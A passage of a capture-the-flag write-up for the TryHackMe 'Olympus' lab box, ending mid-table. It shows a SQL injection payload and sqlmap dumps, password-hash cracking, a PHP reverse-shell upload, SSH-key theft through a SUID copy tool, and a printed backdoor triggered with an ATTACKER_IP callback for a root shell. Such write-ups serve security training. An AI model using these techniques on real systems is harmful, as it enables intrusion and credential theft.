      <guid>https://dev.to/exploitnotes/tryhackme-olympus-writeup-ok2</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Olympus is a Linux box built around an old Victor CMS 1.0 install hidden&lt;br&gt;
under &lt;code&gt;/~webmaster/&lt;/code&gt;. An unauthenticated SQL injection in the CMS search&lt;br&gt;
feature was the root of the entire chain: it dumped an initial flag, user&lt;br&gt;
password hashes, and a full chat log. One cracked password unlocked both&lt;br&gt;
the CMS admin panel and a second vhost, &lt;code&gt;chat.olympus.thm&lt;/code&gt;, running a&lt;br&gt;
custom chat app with file upload. A PHP reverse shell was uploaded there,&lt;br&gt;
and its randomized server-side filename - meant to stop direct access -&lt;br&gt;
was recovered from the database through the same SQL injection, giving a&lt;br&gt;
&lt;code&gt;www-data&lt;/code&gt; shell. From there, a SUID file-copy utility owned by user&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; was abused to exfiltrate &lt;code&gt;zeus&lt;/code&gt;'s SSH private key despite the&lt;br&gt;
&lt;code&gt;.ssh&lt;/code&gt; directory being otherwise inaccessible; cracking its passphrase&lt;br&gt;
gave an SSH shell as &lt;code&gt;zeus&lt;/code&gt; and the user flag. &lt;code&gt;zeus&lt;/code&gt;'s group membership&lt;br&gt;
on a hidden web directory exposed a password-protected PHP "root shell&lt;br&gt;
backdoor" script left behind by a previous attacker (&lt;code&gt;prometheus&lt;/code&gt;);&lt;br&gt;
reading its source revealed the hardcoded password, and calling it&lt;br&gt;
returned a reverse shell running as &lt;code&gt;root&lt;/code&gt;, yielding the root flag and a&lt;br&gt;
bonus flag hidden elsewhere on disk.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; olympus.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The root page is a static "under development" placeholder (Aperi'Solve /&lt;br&gt;
particles.js branding), nothing actionable directly.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dirsearch&lt;/code&gt; and &lt;code&gt;ffuf&lt;/code&gt; against &lt;code&gt;olympus.thm&lt;/code&gt; found a hidden user directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://olympus.thm/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;

~webmaster              &lt;span class="o"&gt;[&lt;/span&gt;Status: 301, Size: 315, ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;http://olympus.thm/~webmaster/&lt;/code&gt; serves a Victor CMS 1.0 site (confirmed&lt;br&gt;
by HTML comments: &lt;code&gt;@project 'Simple Content Management System'&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;@author 'Victor Alagwu'&lt;/code&gt;). A "Credentials" blog post on the site hints&lt;br&gt;
that some users reuse weak/common passwords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;whatweb http://olympus.thm/~webmaster/

Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, JQuery, Title[Victor CMS]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Identifying the Vulnerable CMS
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;searchsploit victor cms

Victor CMS 1.0 - 'Search' SQL Injection              | php/webapps/48734.txt
Victor CMS 1.0 - Authenticated Arbitrary File Upload  | php/webapps/48490.txt
Victor CMS 1.0 - File Upload To RCE                   | php/webapps/49310.txt
Victor CMS 1.0 - Multiple SQL Injection (Authenticated)| php/webapps/49282.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The unauthenticated &lt;code&gt;search&lt;/code&gt; parameter on &lt;code&gt;search.php&lt;/code&gt; is directly&lt;br&gt;
injectable per the advisory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;CMSsite&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1337&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="n"&gt;union&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nf"&gt;version&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="nf"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. SQL Injection - search.php
&lt;/h2&gt;

&lt;p&gt;Automated with sqlmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://olympus.thm/~webmaster/search.php"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"search=1337*&amp;amp;submit="&lt;/span&gt; &lt;span class="nt"&gt;--dbs&lt;/span&gt; &lt;span class="nt"&gt;--random-agent&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sqlmap confirmed boolean-based, error-based, time-based, and UNION-based&lt;br&gt;
injection on the custom &lt;code&gt;search&lt;/code&gt; POST parameter, and enumerated the&lt;br&gt;
databases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;available databases [6]:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.1 Tables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap ... &lt;span class="nt"&gt;-D&lt;/span&gt; olympus &lt;span class="nt"&gt;--tables&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;6 tables]
categories, chats, comments, flag, posts, &lt;span class="nb"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Flag table
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap ... -D olympus -T flag --dump

+---------------------------+
| flag                      |
+---------------------------+
| flag{REDACTED}            |
+---------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Users table
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap ... -D olympus -T users --dump

| user_id | user_name  | user_role | user_email             | user_password (bcrypt)                                      |
|   3     | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|   6     | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
|   7     | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;root&lt;/code&gt;/&lt;code&gt;zeus&lt;/code&gt; emails leak a second vhost: &lt;code&gt;chat.olympus.thm&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Cracking the Hash
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt user-hash.txt

summertime       &lt;span class="o"&gt;(&lt;/span&gt;prometheus&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;prometheus : summertime&lt;/code&gt; cracked against the bcrypt hash; &lt;code&gt;root&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; were not cracked with rockyou.&lt;/p&gt;
&lt;h2&gt;
  
  
  6. CMS Admin Access
&lt;/h2&gt;

&lt;p&gt;Logged into &lt;code&gt;http://olympus.thm/~webmaster/admin/&lt;/code&gt; as &lt;code&gt;prometheus&lt;/code&gt;. The&lt;br&gt;
Users page confirms the same three accounts and the &lt;code&gt;chat.olympus.thm&lt;/code&gt;&lt;br&gt;
addresses seen in the SQLi dump.&lt;/p&gt;
&lt;h2&gt;
  
  
  7. Second Vhost - chat.olympus.thm
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; chat.olympus.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The same &lt;code&gt;prometheus:summertime&lt;/code&gt; credentials work at&lt;br&gt;
&lt;code&gt;http://chat.olympus.thm/login.php&lt;/code&gt;, landing on &lt;code&gt;home.php&lt;/code&gt;: a custom chat&lt;br&gt;
app with a message box and file upload.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.1 Chat history via SQLi
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;chats&lt;/code&gt; table was pulled directly through the same &lt;code&gt;search.php&lt;/code&gt;&lt;br&gt;
injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap ... -D olympus -T chats --dump

| dt         | msg                                | uname      | file                                  |
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | 47c3210d51761686f3af40a875eeaaea.txt  |
| 2022-04-06 | random file name function...       | zeus       | &amp;lt;blank&amp;gt;                               |
| 2026-09-10 | Attached : rev.php                 | prometheus | ff1957eacecdeafa2f3b285a01f40920.php  |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uploaded files are renamed server-side to a random 32-character hex&lt;br&gt;
string as an access control - an old chat message from &lt;code&gt;zeus&lt;/code&gt; confirms&lt;br&gt;
this was intentional ("The IT guy used a random file name function to&lt;br&gt;
make it harder for attackers to access the uploaded files"). It fails&lt;br&gt;
because the real generated filename is stored in &lt;code&gt;chats.file&lt;/code&gt; and is&lt;br&gt;
readable through the same SQL injection, defeating the protection&lt;br&gt;
entirely.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;{{7*7}}&lt;/code&gt; message was also sent to probe for server-side template&lt;br&gt;
injection; it was not confirmed to render before moving on.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.2 Reverse shell upload
&lt;/h3&gt;

&lt;p&gt;A PHP reverse shell (&lt;code&gt;rev.php&lt;/code&gt;) was uploaded via the chat file input. Per&lt;br&gt;
the &lt;code&gt;chats&lt;/code&gt; dump, it was stored as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ff1957eacecdeafa2f3b285a01f40920.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Requesting that filename returned a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; www-data&lt;span class="o"&gt;(&lt;/span&gt;33&lt;span class="o"&gt;)&lt;/span&gt;
www-data@&amp;lt;MACHINE_IP&amp;gt;:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;,7777&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. www-data Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/zeus/zeus.txt

Hey zeus &lt;span class="o"&gt;!&lt;/span&gt;
I managed to hack my way back into the olympus eventually.
Looks like the IT kid messed up again &lt;span class="o"&gt;!&lt;/span&gt;
I&lt;span class="s1"&gt;'ve now got a permanent access as a super user to the olympus.
                                                - Prometheus.

cat /home/zeus/user.flag
flag{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/home/zeus/.ssh&lt;/code&gt; denies access directly, but a SUID binary owned by&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; was found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep &lt;/span&gt;cputils
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 zeus zeus 17728 Apr 18  2022 /usr/bin/cputils
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cputils&lt;/code&gt; is a simple file-copy utility that runs with &lt;code&gt;zeus&lt;/code&gt;'s effective&lt;br&gt;
UID, so it can read files &lt;code&gt;www-data&lt;/code&gt; otherwise cannot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/authorized_keys
Enter the Name of Target File: /tmp/auth_keys
File copied successfully.

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both files were copied out to &lt;code&gt;/tmp&lt;/code&gt;, giving zeus's SSH keypair.&lt;/p&gt;

&lt;h2&gt;
  
  
  9. Cracking the SSH Key and Logging in as zeus
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh2john zeus-key &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; zeus-hash
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt zeus-hash

snowflake        &lt;span class="o"&gt;(&lt;/span&gt;zeus-key&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; zeus-key zeus@olympus.thm

zeus@&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.flag
flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; failed (no known password), and standard privesc checks&lt;br&gt;
(SUID binaries, &lt;code&gt;find -group adm&lt;/code&gt;, listening ports, &lt;code&gt;ps aux&lt;/code&gt;) did not&lt;br&gt;
turn up anything further directly - the actual path forward was a file&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; had incidental access to.&lt;/p&gt;
&lt;h2&gt;
  
  
  10. Root via a Leftover Backdoor Webshell
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-user&lt;/span&gt; zeus 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'^/proc\|^/sys\|^/run'&lt;/span&gt;
...
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/www/html/
drwxrwx--x 2 root zeus 4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The directory is &lt;code&gt;root:zeus&lt;/code&gt; with group execute/read, so &lt;code&gt;zeus&lt;/code&gt; can enter&lt;br&gt;
it and read its contents (but not list it via a plain top-level listing).&lt;br&gt;
Inside is a password-gated PHP reverse-shell backdoor, apparently planted&lt;br&gt;
by &lt;code&gt;prometheus&lt;/code&gt; per the earlier note ("I've now got a permanent access as&lt;br&gt;
a super user to the olympus"):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"a7c5ffcf139742f52a5267c4a0674129"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;form ...&amp;gt;Password: ...&amp;lt;/form&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="nv"&gt;$shell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"uname -a; w; &lt;/span&gt;&lt;span class="nv"&gt;$suid_bd&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because &lt;code&gt;zeus&lt;/code&gt; can read the file directly, the hardcoded password is&lt;br&gt;
visible in the source - no cracking needed. The script is a classic&lt;br&gt;
fsockopen reverse shell gated by that password and driven by &lt;code&gt;?ip=&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;?port=&lt;/code&gt; GET parameters.&lt;/p&gt;

&lt;p&gt;Browsing to it and POSTing the password confirms the usage banner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
POST &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;a7c5ffcf139742f52a5267c4a0674129

snodew reverse root shell backdoor
Usage:
Locally: nc &lt;span class="nt"&gt;-vlp&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;port]
Remote: &amp;lt;MACHINE_IP&amp;gt;/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip&lt;span class="o"&gt;=[&lt;/span&gt;destination of listener]&amp;amp;port&lt;span class="o"&gt;=[&lt;/span&gt;listening port]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggering it against a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://&amp;lt;MACHINE_IP&amp;gt;/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;ATTACKER_IP&amp;gt;&amp;amp;port&lt;span class="o"&gt;=&lt;/span&gt;4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(POST the password first via the form, then load the &lt;code&gt;?ip=&amp;amp;port=&lt;/code&gt; URL.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; root&lt;span class="o"&gt;(&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;
root@&amp;lt;MACHINE_IP&amp;gt;:/# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@&amp;lt;MACHINE_IP&amp;gt;:/# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;,33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;,7777&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  11. Root and Bonus Flags
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.flag

                You did it, you defeated the gods.
                        Hope you had fun &lt;span class="o"&gt;!&lt;/span&gt;

                   flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;

PS : Prometheus left a hidden flag, try and find it &lt;span class="o"&gt;!&lt;/span&gt;
     I recommend logging as root over ssh to look &lt;span class="k"&gt;for &lt;/span&gt;it &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
     &lt;span class="o"&gt;(&lt;/span&gt;Hint : regex can be usefull&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following the hint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"flag{"&lt;/span&gt; / &lt;span class="nt"&gt;--exclude-dir&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;proc,sys,dev,snap&lt;span class="o"&gt;}&lt;/span&gt; 2&amp;gt;/dev/null

/root/root.flag:               flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
/home/zeus/user.flag:          flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
/etc/ssl/private/.b0nus.fl4g:  flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
Binary file /var/lib/mysql/olympus/flag.ibd matches
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A fourth, hidden flag was sitting in &lt;code&gt;/etc/ssl/private/.b0nus.fl4g&lt;/code&gt;, only&lt;br&gt;
findable by grepping the filesystem as root as the note suggested.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
